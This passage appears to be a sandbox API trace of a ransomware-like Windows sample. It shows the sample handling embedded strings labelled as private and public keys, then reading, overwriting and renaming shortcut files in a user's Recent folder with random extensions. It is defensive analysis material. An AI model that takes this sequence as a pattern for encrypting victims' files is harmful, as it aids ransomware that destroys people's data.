worCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.628] GetCurrentThreadId () returned 0xa30 [0082.628] GetCurrentThreadId () returned 0xa30 [0082.628] GetCurrentThreadId () returned 0xa30 [0082.629] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.629] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.629] GetCurrentThreadId () returned 0xa30 [0082.629] GetCurrentThreadId () returned 0xa30 [0082.630] GetCurrentThreadId () returned 0xa30 [0082.630] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\osnW47dF.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\osnw47df.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.630] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.630] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.630] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x20a1 [0082.630] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.630] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x20a1, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x20a1, lpOverlapped=0x0) returned 1 [0082.632] CloseHandle (hObject=0x124) returned 1 [0082.632] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\osnW47dF.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\osnw47df.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.634] WriteFile (in: hFile=0x124, lpBuffer=0x1f90730*, nNumberOfBytesToWrite=0x20a1, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90730*, lpNumberOfBytesWritten=0x18f978*=0x20a1, lpOverlapped=0x0) returned 1 [0082.637] CloseHandle (hObject=0x124) returned 1 [0082.641] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\osnW47dF.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\osnw47df.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\osnW47dF.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\osnw47df.lnk.zv7un")) returned 1 [0082.642] GetCurrentThreadId () returned 0xa30 [0082.642] GetCurrentThreadId () returned 0xa30 [0082.716] GetCurrentThreadId () returned 0xa30 [0082.717] GetCurrentThreadId () returned 0xa30 [0082.717] GetCurrentThreadId () returned 0xa30 [0082.717] GetCurrentThreadId () returned 0xa30 [0082.717] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe03352a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d547f40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d547f40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xec3, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="oXu8xlNDfHLVRyrz.lnk", cAlternateFileName="OXU8XL~1.LNK")) returned 1 [0082.717] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.717] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.717] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oXu8xlNDfHLVRyrz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oxu8xlndfhlvryrz.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe03352a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d547f40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d547f40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xec3)) returned 1 [0082.717] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oXu8xlNDfHLVRyrz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oxu8xlndfhlvryrz.lnk")) returned 0x20 [0082.717] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oXu8xlNDfHLVRyrz.lnk", dwFileAttributes=0x80) returned 1 [0082.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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